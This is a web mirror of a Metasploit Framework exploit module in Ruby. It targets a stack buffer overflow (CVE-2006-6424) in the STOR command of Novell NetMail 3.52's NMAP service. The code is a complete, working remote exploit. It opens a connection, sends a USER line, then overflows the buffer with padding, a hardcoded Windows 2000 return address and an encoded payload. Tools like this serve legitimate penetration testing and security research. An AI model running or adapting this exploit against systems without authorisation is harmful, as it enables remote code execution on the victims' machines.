CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/novell/nmap_stor.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Novell NetMail NMAP STOR Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
16
verb. By sending an overly long string, an attacker can overwrite the
17
buffer and control program execution.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2006-6424' ],
24
[ 'OSVDB', '31363' ],
25
[ 'BID', '21725' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 500,
35
'BadChars' => "\x00\x0a\x0d\x20",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2006-12-23'))
45
46
register_options([Opt::RPORT(689)])
47
end
48
49
def exploit
50
connect
51
sock.get_once
52
53
auth = "USER " + rand_text_english(10)
54
sock.put(auth + "\r\n")
55
56
res = sock.get_once
57
58
sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')
59
sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded
60
61
if (res =~ /1000/)
62
print_status("Trying target #{target.name}...")
63
sock.put(sploit)
64
else
65
print_status("Not in Trusted Hosts.")
66
end
67
68
handler
69
disconnect
70
end
71
end
72
73